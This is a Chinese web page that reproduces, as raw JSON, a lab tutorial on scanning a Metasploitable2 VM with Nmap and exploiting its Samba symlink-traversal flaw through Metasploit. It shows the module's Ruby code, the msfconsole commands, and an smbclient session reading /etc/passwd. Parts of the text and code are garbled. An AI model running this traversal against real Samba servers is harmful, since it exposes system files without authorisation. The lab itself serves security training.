游乐游手机版
首页/网络安全/文章详情

如何用Nmap检测并利用Metasploitable2的Samba漏洞

时间:2026-08-18 14:54
{ "position ":0, "title ": "介绍 ", "layout ": "doc-fullscreen ", "text ": " 介绍nn在本实验中,你将学习如何在 Metasploitable2 目标机器上利用一个新的 Samba 漏洞。在整个过程中,每个步骤都会提供截图。通过完成这个实验,你将获得
{"position":0,"title":"介绍","layout":"doc-fullscreen","text":"## 介绍nn在本实验中,你将学习如何在 Metasploitable2 目标机器上利用一个新的 Samba 漏洞。在整个过程中,每个步骤都会提供截图。通过完成这个实验,你将获得使用工具利用 Samba 漏洞的实践经验。nn本课程是一个纯动手操作的实验教程。为了帮助你理解实验中的操作,将介绍一些信息安全理论,并推荐最有价值的文章供你在练习时阅读。n","need_verify":false,"has_solution":false},{"position":1,"title":"启动实验环境","layout":"doc-workbench-split","text":"## 启动实验环境nn在这一步中,你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。nn1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:nn```bashnsudo virsh start Metasploitable2n```nn等待目标机器启动,可能需要 1-3 分钟。nn2. 通过 ping 命令测试与目标机的连通性:nn```bashnping 192.168.122.102n```nn按下 `Ctrl+C` 停止 ping。nn3. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:nn```bashndocker run -ti --network host b5b709a49cd5 bashn```nn4. 在 Kali 容器内,测试与目标机的网络连接:nn```bashnping 192.168.122.102n```nn按下 `Ctrl+C` 停止 ping。nn现在攻击机和目标机都已启动,你可以开始渗透测试。nn**注意**:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 `docker run -ti --network host b5b709a49cd5 bash` 以启动一个新的 Kali 容器并进入 bash 继续实验。n","need_verify":true,"has_solution":false},{"position":2,"title":"扫描目标主机的漏洞","layout":"doc-workbench-split","text":"## 扫描目标主机的漏洞nn在这一步中,你将使用 Nmap 扫描目标主机的漏洞。nn首先,登录到 LabEx Kali 环境中的 MSF 终端:nn```bashncd ~nservice postgresql startnmsfdb initnmsfconsolen```nn收集目标主机的信息是渗透测试的第一步。使用 Nmap 扫描目标主机的漏洞,并将扫描结果保存到文件 `/tmp/report.txt` 中,输入以下命令:nn```bashnnmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txtn```nn这里使用的参数具有以下含义:nn| 参数 | 描述 |n| ------------------ | ---------------------------------------------------------- |n| `-p` | 指定要扫描的端口范围 |n| `-T4` | 设置 Nmap 扫描的时序策略,值范围为 0-5(数值越高速度越快) |n| `-A` | 启用操作系统检测和版本检测 |n| `-v` | 在扫描过程中显示详细信息 |n| `>/tmp/report.txt` | 将输出重定向到文件以便后续分析 |nn这个过程可能需要一些时间,因为正在扫描大范围的端口以进行全面的信息收集。请耐心等待一到两分钟。nn扫描完成后,按下 `Ctrl+D`,然后在 LabEx Kali 终端中使用 `cat` 命令查看文件内容:nn```bashncat /tmp/report.txtn```nn你应该会在文本中看到类似以下的信息:nn```plaintextn139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)n445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)n```nn这表明端口 139 和 445 正在运行 Samba 服务。n","need_verify":true,"has_solution":false},{"position":3,"title":"分析 Samba 漏洞","layout":"doc-workbench-split","text":"## 分析 Samba 漏洞nn在这一步中,你将了解 Samba 漏洞并分析漏洞利用模块的核心代码。nnSamba 是一款免费软件,允许类 UNIX 操作系统与 Microsoft Windows 使用的 SMB/CIFS(Server Message Block/Common Internet File System)网络协议进行连接。版本 3 不仅允许访问和共享 SMB 文件夹和打印机,还可以作为域控制器集成到 Windows Server 域中,或作为成员加入 Active Directory。简单来说,这款软件弥合了 Windows 和类 UNIX 操作系统之间的差距,实现了两者之间的资源共享。nnSamba 的应用范围广泛,因此其漏洞可能产生重大影响。Samba 可以为选定的 Unix 目录(包括所有子目录)创建网络共享。此功能允许 Windows 用户通过网络访问这些 Unix 目录,就像访问普通的 Windows 文件夹一样。nn本实验中使用的漏洞索引为:nn> [OSVDB-62145](https://www.rapid7.com/db/modules/auxiliary/admin/smb/samba_symlink_tra versal#)nn本实验中使用的 samba 模块的源代码索引为:nn> [symlink_tra versal.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/smb/samba_symlink_tra versal.rb)nn以下是核心代码的解析:nn```rubyn ## 模块初始化信息,包括作者信息和模块介绍n def initializen super(n 'Name' => 'Samba Symlink Directo该模块利用了Samba CIFS服务器中的目录遍历漏洞。要利用此漏洞,必须指定一个可写共享。新创建的目录将链接到根文件系统。 作者: - kcope(https://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html) - hdm(Metasploit模块) 参考资料: - OSVDB:62145 - URL:https://www.samba.org/samba/news/symlink_attack.htmle, 'The name of the directory that should point to the root filesystem', 'rootfs'])n ], self.class)nn endnnn ## 主执行函数n def runnn ## 连接到服务器的函数n print_status("Connecting to the server...")n connect()n smb_login()nn ## 连接到目标主机n print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")n self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")nn ## 尝试进入根文件系统n print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")n self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)nn ## 成功进入后打印成功信息n print_status("Now access the following share to browse the root filesystem:")n print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")n print_line("")n endnnendn```nn在解析完模块完成核心代码的编写后,就要在MSF终端中执行实际的漏洞利用操作啦。输入以下命令: ```bash search samba ``` ```bash use auxiliary/admin/smb/samba_symlink_tra versal ``` ```bash show options ``` 接下来,设置目标主机: ```bash set RHOST 192.168.122.102 ``` 再选择共享目录: ```bash set SMBSHARE tmp ``` 注意哈,这个Samba漏洞的影响在于,它允许为选定的Unix目录(包括所有子目录)创建网络共享。 当所有必需的参数都设置完毕,就可以继续利用漏洞了: ```bash exploit ``` 要是成功了,你会看到这样的消息: ```plaintext [*] 192.168.122.102:445 - Now access the following share to browse the root filesystem: ``` 成功利用漏洞后,使用`exit`命令退出,然后在终端中用`smbclient`测试能否连接。系统提示输入密码时,直接按Enter键就行,不用输入任何密码: ```bash exit smbclient //192.168.122.102/tmp ``` 连接成功后,通过执行以下命令来验证对根文件系统的访问权限: ```bash more rootfs/etc/passwd ``` 这时,你应该能看到类似这样的输出: ```plaintext root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sy ```s:x:3:3:sys:/dev:/bin/shnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/bin/shn[....]n```nn这确认你已成功利用漏洞,并通过创建的网络共享获得了对目标主机的访问权限。nn**按 Ctrl+D 退出 Metasploit 控制台,然后开始检查**n","need_verify":true,"has_solution":false},{"position":4,"title":"总结","layout":"doc-fullscreen","text":"## 总结nn在本实验中,你了解了 Metasploitable2 中的 Samba 漏洞,并按照原始步骤指导在目标机器上利用该漏洞。随后,你使用创建的网络共享登录到被攻陷的目标主机。本实验涵盖的关键点包括:nn- Linux 基本命令n- Nmap 漏洞扫描n- 扫描到的 Samba 漏洞分析n- `symlink_tra versal` 模块的核心代码解析n- 使用网络文件共享登录目标主机nn建议你反复练习这些步骤,以加强对渗透测试过程的理解。推荐阅读部分提供了更多资源,供你深入学习 Samba 漏洞相关知识。n","need_verify":false,"has_solution":false}
来源:https://labex.io/zh/tutorials/nmap-exploit-samba-vulnerability-on-metasploitable2-with-nmap-416125
上一篇Hydra 如何使用额外密码进行账号密码检查 下一篇如何使用Nmap检测并利用Ingreslock漏洞进行安全测试
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。